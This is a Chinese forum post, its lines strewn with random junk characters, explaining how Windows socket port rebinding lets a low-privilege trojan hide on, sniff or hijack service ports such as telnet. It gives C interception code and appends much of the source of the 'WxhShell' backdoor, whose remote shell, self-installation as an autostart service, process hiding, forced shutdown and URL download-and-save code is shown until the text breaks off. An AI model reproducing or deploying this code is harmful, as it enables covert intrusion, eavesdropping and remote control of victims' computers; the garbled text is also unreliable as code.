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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k,L,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Lp; {&=PIo  
\#(cI  
  saddr.sin_family = AF_INET; ; &2J9  
n7 RswX  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `?P k~7  
Y$%/H"1bk  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *E<%db C2  
Ni$WI{e9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YfC1.8  
P@Wi^svj  
  这意味着什么?意味着可以进行如下的攻击: UTEUVcJ\  
w_po5[]R  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 rp sq.n   
}]pq&v!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "_qH+ =_R  
wVvk{tS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 pV:c`1\`  
d}K"dr:W5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  SRl:+!@.  
|-N\?N9"  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &zsaVm8  
K2T&U$ ,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *p;Fwj]  
1}e1:m]r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #zC_;u$  
K/Q^8%Z  
  #include aOq>Ra{T  
  #include [>P@3t(/  
  #include ^$):Xz  
  #include    6!} @vp![  
  DWORD WINAPI ClientThread(LPVOID lpParam);   OO@ (lt  
  int main() n'D1s:W^B  
  { QN_Zd@K*A  
  WORD wVersionRequested; Zx(VwB2   
  DWORD ret; 1F*gPhm  
  WSADATA wsaData; }&d@6m]  
  BOOL val; xrX^";}j  
  SOCKADDR_IN saddr; 8(UUc>g  
  SOCKADDR_IN scaddr; ] (3e +JC  
  int err; JcEPwF.  
  SOCKET s; VnUW UIVJ  
  SOCKET sc; d `LBFH,  
  int caddsize; ]KfjZ!Qh  
  HANDLE mt;  ?[Od.  
  DWORD tid;   $m`?x5rL8  
  wVersionRequested = MAKEWORD( 2, 2 ); O/^7TBTn<r  
  err = WSAStartup( wVersionRequested, &wsaData ); 75~>[JM  
  if ( err != 0 ) { ffK A  
  printf("error!WSAStartup failed!\n"); *<n]"-  
  return -1; :ND5po#(  
  } *TY?*H  
  saddr.sin_family = AF_INET; ANEW^\  
   =Mb!&qq  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]}2+yK  
V`Z-m-V~1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); *.wX9g9\  
  saddr.sin_port = htons(23); K &m`1f  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) umrfA  
  { Bk&ry)`gD  
  printf("error!socket failed!\n"); dEU +\NY  
  return -1; !(PAUW S@  
  } xJ>U_Gd  
  val = TRUE; rvZXK<@#+  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 l5ww-#6Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Al="ss&2  
  { x@3Ix, b'  
  printf("error!setsockopt failed!\n"); i-)OY,  
  return -1; z{U2K '  
  } \Tf845  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; smQ<lwA  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =Jfo=`da  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 tgy*!B6a~  
|Id0+-V ?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8%]o6'd4  
  { h.@5vhD  
  ret=GetLastError(); Q?KWiFA}'  
  printf("error!bind failed!\n"); FU9q|!2Y  
  return -1; p9k' .H^:_  
  } I/D (gY06<  
  listen(s,2); H(U`S  
  while(1) ,)3%@MwO  
  { [k-Q89  
  caddsize = sizeof(scaddr); %EA|2O.D  
  //接受连接请求 s(W]>Ib  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); '+LbFGrO3  
  if(sc!=INVALID_SOCKET) ca/AScL  
  { BwwOaO@L  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); SW|{)L,  
  if(mt==NULL) !L4Vz7 C  
  { [F4] pR(  
  printf("Thread Creat Failed!\n"); fQcJyX  
  break; CAdqoCz|  
  } S%zn {1F  
  } T9.3  
  CloseHandle(mt); $eUI.j(HU  
  } $_NYu  
  closesocket(s); K[JbQ30  
  WSACleanup(); {/SUfXq  
  return 0; 5[3vu p?  
  }   a"gZw9m@  
  DWORD WINAPI ClientThread(LPVOID lpParam) H1iewsfzH  
  { 'E FP/(2J  
  SOCKET ss = (SOCKET)lpParam; >5Y%4++(  
  SOCKET sc;  ,83%18b  
  unsigned char buf[4096]; ?5(Cwy ?  
  SOCKADDR_IN saddr; z+IBy+  
  long num; {%W'Zx  
  DWORD val; y/57 >.3  
  DWORD ret; I;xrw?=\L  
  //如果是隐藏端口应用的话,可以在此处加一些判断 c \cPmj@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o NX-vN-  
  saddr.sin_family = AF_INET; 2fIHFo\8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /<7'[x<  
  saddr.sin_port = htons(23); ?7>G\0G  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KITC,@xE_O  
  { ,TL8`  
  printf("error!socket failed!\n"); ,.;q[s8  
  return -1; zvjp]yTx"  
  } *Ii_dpJ  
  val = 100; wWjZXsOd  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #[$^M:X.  
  { %mKM9>lf#  
  ret = GetLastError(); *9J >3   
  return -1; o9I=zAGjy  
  } Yxik .S+G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2wR?ON=Q  
  { 5=Cea  
  ret = GetLastError(); r]JV !'R  
  return -1; V0 70oZ  
  } BN??3F8C  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ]\DZW4?'  
  { <r 2$k"*:  
  printf("error!socket connect failed!\n"); ?wM{NVt#-  
  closesocket(sc); Msj(>U&}+  
  closesocket(ss); Sep/N"7~t  
  return -1; w)}' {]P"c  
  } /G*]3=cSe  
  while(1) >1luLp/,$  
  { ;ED` 7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 JmlMfMpXMs  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 yR?S]   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9R$0[HbI3  
  num = recv(ss,buf,4096,0); hO8~Rg   
  if(num>0) haNi [|  
  send(sc,buf,num,0); 2>`m1q:  
  else if(num==0) cg`bbZ  
  break; h"O4r8G}  
  num = recv(sc,buf,4096,0); >JOEp0J  
  if(num>0) ,j3Yvn W  
  send(ss,buf,num,0); a6Zg~>vX  
  else if(num==0) j _]#Ew\q  
  break; r xlKoa  
  } 2h=QJgpCG  
  closesocket(ss); Z'hHXSXM  
  closesocket(sc); !q]@/<=  
  return 0 ; {,;R\)8D  
  } 2Kg-ZDK8  
p;nRxi7'  
o'Rr2,lVi  
========================================================== {N.J A=  
7 LotN6H  
下边附上一个代码,,WXhSHELL ^:hI bF4G  
NgI n\) =0  
========================================================== Xg <R+o  
7bk=D~/nSg  
#include "stdafx.h" N$&)gI:  
T( LlNq  
#include <stdio.h> u7>{#]  
#include <string.h> k`aHG8S\  
#include <windows.h> RX])#=Cs  
#include <winsock2.h> PvHX#wJ  
#include <winsvc.h> I= '6>+P  
#include <urlmon.h> 5`>%{ o  
rl/]Ym4j  
#pragma comment (lib, "Ws2_32.lib") pc+'/~  
#pragma comment (lib, "urlmon.lib") ,M?K3lG\g[  
*OM+d$l!  
#define MAX_USER   100 // 最大客户端连接数 OdSglB  
#define BUF_SOCK   200 // sock buffer 8bTE# 2+-  
#define KEY_BUFF   255 // 输入 buffer J ?y0R X  
Xzn}gH]  
#define REBOOT     0   // 重启 8u|F %Sg  
#define SHUTDOWN   1   // 关机 0(o{V:l%Z|  
] Hiw+5n  
#define DEF_PORT   5000 // 监听端口 ja2BK\"1:  
eVRPjVzQ'Q  
#define REG_LEN     16   // 注册表键长度 q$iGeE#  
#define SVC_LEN     80   // NT服务名长度 tDWoQ&z2t_  
P >>VBh?  
// 从dll定义API UI]UxEJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?GT,Y5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b f j]Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V'M#."Of/  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *!5X!\e_  
B'}pZOa[Wb  
// wxhshell配置信息 xq@_' 3X  
struct WSCFG { H*KZZTKd  
  int ws_port;         // 监听端口 W ])Lc3X  
  char ws_passstr[REG_LEN]; // 口令 JmBe1"hs  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^.g BHZ  
  char ws_regname[REG_LEN]; // 注册表键名 UlD]!5NO  
  char ws_svcname[REG_LEN]; // 服务名  I?R?rW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `fM]3]x>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 E7`Q =4@e  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KAI/*G\z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no @h E7F}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ne b")  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 [sc4ULS &  
{kOTQG?y  
}; 9er0Ww.d  
7;rf$\-&  
// default Wxhshell configuration B;Dl2k^L  
struct WSCFG wscfg={DEF_PORT, ~q,Wj!>Ob  
    "xuhuanlingzhe", Rm&4Pku  
    1, han S8  
    "Wxhshell", hd%O\D?  
    "Wxhshell", cOoF +hz0O  
            "WxhShell Service", k [eWhdSw  
    "Wrsky Windows CmdShell Service", 7=`_UqCV  
    "Please Input Your Password: ", q]\GBRp  
  1, Nc_Qd4<[@G  
  "http://www.wrsky.com/wxhshell.exe", v/G)E_  
  "Wxhshell.exe" BenUyv1d  
    }; o |"iW" +  
2t}^8  
// 消息定义模块 [~5<['G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H[J5A2b  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ., =\/ C<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c2~oPUj  
char *msg_ws_ext="\n\rExit."; *-,jIaL;  
char *msg_ws_end="\n\rQuit."; H$)__V5I,q  
char *msg_ws_boot="\n\rReboot..."; "QLp%B,A  
char *msg_ws_poff="\n\rShutdown..."; 60XTdJkDkA  
char *msg_ws_down="\n\rSave to "; 4S\St <  
M $\!SXL  
char *msg_ws_err="\n\rErr!"; ,sZ)@?e  
char *msg_ws_ok="\n\rOK!"; rp_Aw  
c4 bo  
char ExeFile[MAX_PATH]; &s~b1Va  
int nUser = 0; "?Yf3G:\0  
HANDLE handles[MAX_USER]; *wl&Zzx  
int OsIsNt; #-7m@EU;O  
&]S\GnqlU]  
SERVICE_STATUS       serviceStatus; j<PpCL_8%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +@BjQ|UZ  
!V27ln KP+  
// 函数声明 DTN)#G CtF  
int Install(void); |y DaFv  
int Uninstall(void); E HH+)mlo  
int DownloadFile(char *sURL, SOCKET wsh); #v\o@ArX  
int Boot(int flag); 20`QA u)'  
void HideProc(void); Lgrpy  
int GetOsVer(void); a_(fqoW  
int Wxhshell(SOCKET wsl); k`=&m"&#  
void TalkWithClient(void *cs); bZCNW$C3l  
int CmdShell(SOCKET sock); ZRn!z`.0  
int StartFromService(void); f5P@PG]{  
int StartWxhshell(LPSTR lpCmdLine); 9iM[3uyO  
7*(K%e"U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9D{p^hd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M d.^r5r  
Q=?YY-*$  
// 数据结构和表定义 /|WBk}  
SERVICE_TABLE_ENTRY DispatchTable[] = ,T0q.!d  
{ +z O.|`+  
{wscfg.ws_svcname, NTServiceMain}, |wkUnn4UB8  
{NULL, NULL} \xjI=P'-25  
}; 0NMmN_Lr  
]EfM;'j[  
// 自我安装 ,r,$x4*  
int Install(void) ;dqu ld+q  
{ }~!KjFbs  
  char svExeFile[MAX_PATH]; q{2 +Inf#:  
  HKEY key; qt=nN-AC(  
  strcpy(svExeFile,ExeFile); Co^GsUJ  
0I7 r{T  
// 如果是win9x系统,修改注册表设为自启动 cL^r^kL("  
if(!OsIsNt) { I`uOsZBO/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _5H0<%\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UE 1tm  
  RegCloseKey(key); 3)3$ L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4%>2 >5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Rd ,5 &X$  
  RegCloseKey(key); ^+u/Lw&  
  return 0; UhbGU G  
    } _qjkiKm?1F  
  } UUR` m  
} +qee8QH  
else { =@s{H +  
DpvMY94Qh  
// 如果是NT以上系统,安装为系统服务  Fm`c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); fa 2hQJ02  
if (schSCManager!=0) f <LRM  
{ aB2t/ua  
  SC_HANDLE schService = CreateService !"bU|a  
  ( \!df)qdu  
  schSCManager, Ak+MR EG  
  wscfg.ws_svcname, nRh.;G  
  wscfg.ws_svcdisp, <4RP:2#  
  SERVICE_ALL_ACCESS, sG:tyvln  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A ^X1  
  SERVICE_AUTO_START, H'x) [2  
  SERVICE_ERROR_NORMAL, Q)93 +1]  
  svExeFile, W3]?>sLE*  
  NULL, JqP~2,T  
  NULL, A9kn\U92  
  NULL, {"hyr/SKd  
  NULL, nrJW.F]S8[  
  NULL EzGO/uZ]  
  ); *4O9W8Qz  
  if (schService!=0) yBnUz"  
  { 4N_iHe5U  
  CloseServiceHandle(schService); 0jMS!"k   
  CloseServiceHandle(schSCManager); !f)^z9QX8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wG",Obja  
  strcat(svExeFile,wscfg.ws_svcname); f_;6uCCO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { MOIMW+n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _)-y&  
  RegCloseKey(key); 3?uah' D5  
  return 0; O%m>4OdH  
    } I2e@_[ 1  
  } jI45X22j  
  CloseServiceHandle(schSCManager); .aD=d\  
} *s6(1 S  
} rk< 3QXv  
P"<,@Mn  
return 1; Ag_I'   
} (T1d!v"~"  
z99jW<*0  
// 自我卸载 I@l }%L  
int Uninstall(void) N5Ih+8zT  
{ M1_1(LSU  
  HKEY key; P>qDQ1  
Bw4 _hlm  
if(!OsIsNt) { 'WcP+4c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z lR2  
  RegDeleteValue(key,wscfg.ws_regname); CNrK]+>  
  RegCloseKey(key); 2M*84oh8P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7"s8G 7  
  RegDeleteValue(key,wscfg.ws_regname); [Q:mLc  
  RegCloseKey(key); E2( {[J  
  return 0; C~8;2/F7  
  } 0` UrB:  
} DW0UcLO  
} DRmN+2I  
else { 1LonYAHF  
iU"{8K,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4<q'QU#l<  
if (schSCManager!=0) gYW  
{ TUM7(-,9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ou wEO   
  if (schService!=0) 3#~w#Q0%  
  { F.@U X{J  
  if(DeleteService(schService)!=0) { %617f=(E?!  
  CloseServiceHandle(schService); X$9 "dL  
  CloseServiceHandle(schSCManager); &ngG_y8}&  
  return 0; M}qrF~   
  } d D;r35h=  
  CloseServiceHandle(schService); :y3e-lr  
  } ILMXWw  
  CloseServiceHandle(schSCManager); OE5JA8/H  
} [hXnw'Im/  
} )=6o  ,  
K&UTs$_cI  
return 1; $pfN0/`(  
} Z{rD4S @^  
I9g!#lbl  
// 从指定url下载文件 8 CCA}lOG  
int DownloadFile(char *sURL, SOCKET wsh) v)-:0 f  
{ JQk][3Rv  
  HRESULT hr; g: ,*Y^T  
char seps[]= "/"; u>h|A(<  
char *token; 7f#r&~=  
char *file; GcCMCR3  
char myURL[MAX_PATH]; Wv-nRDNG  
char myFILE[MAX_PATH]; v>E3|w%  
jZP~!q  
strcpy(myURL,sURL); [ @`Ki  
  token=strtok(myURL,seps); 7$|L%Sk  
  while(token!=NULL) W B7gY\Y&M  
  { [FN4_  
    file=token; ;ep@ )Y  
  token=strtok(NULL,seps); XS`=8FQ  
  } $p~X"f?0  
{p)=#Jd`.P  
GetCurrentDirectory(MAX_PATH,myFILE); 2y@y<38  
strcat(myFILE, "\\"); N]7#Q.(~  
strcat(myFILE, file); 0uwe,;   
  send(wsh,myFILE,strlen(myFILE),0); Y0ouLUlI  
send(wsh,"...",3,0); \p{$9e;8yT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^>tqg^  
  if(hr==S_OK) o.x<h";  
return 0; Nc[[o>/Cb  
else IM*T+iRKqF  
return 1; `cn}}1Lg]  
,e!9WKJ B  
} L__J(6,V2  
vu=`s|R  
// 系统电源模块 Lzy Ix!S  
int Boot(int flag) r E<Ou"  
{ Ub| -Q  
  HANDLE hToken; >gGdzL  
  TOKEN_PRIVILEGES tkp; L6IF0`M<,I  
eO?@K$I  
  if(OsIsNt) { - A)XYz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^rIe"Kx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x>*#cOVz;C  
    tkp.PrivilegeCount = 1; BY!M(X jrZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M?m)<vMr*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .C?rToCY  
if(flag==REBOOT) { 9w08)2$ Na  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VKb'!Ystl  
  return 0; 8V(-S,  
} \*.u (8~2o  
else { fd/?x^Z  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xYl ScM_~  
  return 0; v*VId l>  
} /IyCvo  
  } mmx; Vt$i  
  else { )9? ^;HS  
if(flag==REBOOT) { C Ch38qBp  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %MUh_63bB  
  return 0; EhK5<v}  
} XX;MoE~MM  
else { XTPf~Te,=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2nA/{W\hC  
  return 0; kNDN<L  
} -eSZpzp  
} j%@wQVxq  
tG}cmK~%  
return 1; aH+n]J] =)  
} 0Er;l|  
CHo(:A.U>  
// win9x进程隐藏模块 H6/C7  
void HideProc(void) b0ablVk  
{ /%9CR'%*c  
sV5S>*A[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `(6g87h  
  if ( hKernel != NULL ) HDV$y=oHh  
  { c>pbRUMH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W^Z#_{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @A;Ouu(  
    FreeLibrary(hKernel); Bgy?k K2[  
  } ,)](h+zl_6  
'awZ-$#  
return; |JRaskd  
} <$ oI  
( V^C7ix:  
// 获取操作系统版本 b am*&E%0K  
int GetOsVer(void) Z9vJF.clO  
{ /\C5`>x  
  OSVERSIONINFO winfo; ? > 7SZiC`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R<AT}!mkR  
  GetVersionEx(&winfo); 6i.!C5YX]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y[WL}:"93  
  return 1; UYW{A G2C  
  else , s .{R  
  return 0; g?=|kp  
} %}x$YD O  
=V(|3?N  
// 客户端句柄模块 Wp0L!X=0  
int Wxhshell(SOCKET wsl) !w #x@6yq  
{ Rd^X.  
  SOCKET wsh; -|aNHZr  
  struct sockaddr_in client; sUEvL( %nY  
  DWORD myID; BiI}JEp4o  
yRGv{G[59  
  while(nUser<MAX_USER) NP?hoqeKs  
{ @/yJTMcf  
  int nSize=sizeof(client); Zwxu3R_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %L;;W,l$`)  
  if(wsh==INVALID_SOCKET) return 1; U{%N.4:   
wdzZ41y1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y]-7T-*+t  
if(handles[nUser]==0) -D-]tL6w  
  closesocket(wsh); UxS@]YC  
else 5^+QTQ  
  nUser++; 4(O;lVT}  
  } s_`=ugue  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k5ZkD+0Jo  
`SH#t3 5,  
  return 0; lX*IEAc  
} etk@ j3#  
%A ^qm  
// 关闭 socket e+ckn   
void CloseIt(SOCKET wsh) pg:1AAhT[  
{ ="=Aac#n`  
closesocket(wsh); vx&r  
nUser--; @& vtY._  
ExitThread(0); 2^.qKY@g@  
} ZN]LJ4|xu  
Am&PH(}L  
// 客户端请求句柄 1deNrmp%  
void TalkWithClient(void *cs) ?}D|]i34  
{ 1y)|m63&  
%e,X7W`'2  
  SOCKET wsh=(SOCKET)cs; @+(TM5Ub  
  char pwd[SVC_LEN]; Ebk_(Py\  
  char cmd[KEY_BUFF]; 5l ioL)  
char chr[1]; P.Uz[_&l6  
int i,j; g k.c"$2  
\Rff3$  
  while (nUser < MAX_USER) { 0>KW94  
asQXl#4r  
if(wscfg.ws_passstr) { @ a?^2X^  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ; M%n=+[O  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tF@hH}{;  
  //ZeroMemory(pwd,KEY_BUFF); 6x$1En  
      i=0; }q~M$  
  while(i<SVC_LEN) { vn0}l6n3s  
gPrIu+|F  
  // 设置超时 f3u^:6U~  
  fd_set FdRead; Mc #w:UH[  
  struct timeval TimeOut;  {Hp*BE   
  FD_ZERO(&FdRead); h;(#^+LH  
  FD_SET(wsh,&FdRead); M]JD(  
  TimeOut.tv_sec=8; zLB7'7oP  
  TimeOut.tv_usec=0; X\dPQwasM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7Ne`F(c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4?3*%_bDJ,  
2G9sKg,kL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ? h*Ngbj>  
  pwd=chr[0]; LQs>[3rK  
  if(chr[0]==0xd || chr[0]==0xa) { hQT  p&  
  pwd=0; hb_J. Q  
  break; ?k7z 5ow  
  } E"|LA[o  
  i++; kUp[b~  
    } | ]DJz  
^3B&E^R  
  // 如果是非法用户,关闭 socket 1dgy-$H~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6zfi\(fop  
} )`sEdVxbr  
L9G xqw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OE=]/([  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); D$wl.r  
$&!i3#FF  
while(1) { >%o\Ue  
e t$VR:  
  ZeroMemory(cmd,KEY_BUFF); 9ne13 qVm+  
/I>o6CI  
      // 自动支持客户端 telnet标准   v[O}~E7'  
  j=0; k{ru< cf  
  while(j<KEY_BUFF) { F/ODV=J-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PqO PRf  
  cmd[j]=chr[0]; 4%(\y"T  
  if(chr[0]==0xa || chr[0]==0xd) { [A.ix}3mm  
  cmd[j]=0; scsN2#D7U/  
  break; I!L`W _  
  } _+vE(:T  
  j++; >5aZ?#TS1  
    } VW[!%<  
2qF ?%  
  // 下载文件 mT7B#^H  
  if(strstr(cmd,"http://")) { kX2bU$1Q,i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i#lnSJ08  
  if(DownloadFile(cmd,wsh)) dV( "g],  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $z>L $,c>  
  else 2 ;z~xR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E W {vF|  
  } :=iP_*#  
  else { 8?> #  
vl "l  
    switch(cmd[0]) { cen[|yCtOH  
  XmK2Xi;=b  
  // 帮助 bAsoIra  
  case '?': { 4zRz U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [vJLj>@  
    break; I)B+h8l72<  
  } K>tubLYh  
  // 安装 "\x<Zg;  
  case 'i': { #'@pL0dj  
    if(Install()) `}Of'i   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #c?xJ&bh  
    else l. 9 i `  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *" ("^_x\  
    break; *K<|E15 ,  
    } ODbEL/  
  // 卸载 !Rq.L  
  case 'r': { 1TagQ  
    if(Uninstall()) <yw6Om:n<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xE2sb*  
    else w6RB|^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /.{q2]  
    break; Z/r=4  
    } .]0u#fz0y  
  // 显示 wxhshell 所在路径 AO R{Xm  
  case 'p': { q$|Wxnz  
    char svExeFile[MAX_PATH]; vSOO[.=  
    strcpy(svExeFile,"\n\r"); NM`5hd{  
      strcat(svExeFile,ExeFile); :oYz=c  
        send(wsh,svExeFile,strlen(svExeFile),0); -/y]'_a  
    break; v `a:Lj  
    } X#|B*t34  
  // 重启 7<T1#~w4L  
  case 'b': { v/fo`]zP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TQ{rg2_T  
    if(Boot(REBOOT)) Vw^2TRU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T ke3X\|  
    else { CWTPf1?eB  
    closesocket(wsh); nD8 Qeem@  
    ExitThread(0); )\q A[rTG  
    } C V{kP8#  
    break; . paA0j  
    } 1kd\Fq^z$  
  // 关机 ] WsQ=  
  case 'd': { ]~Su  
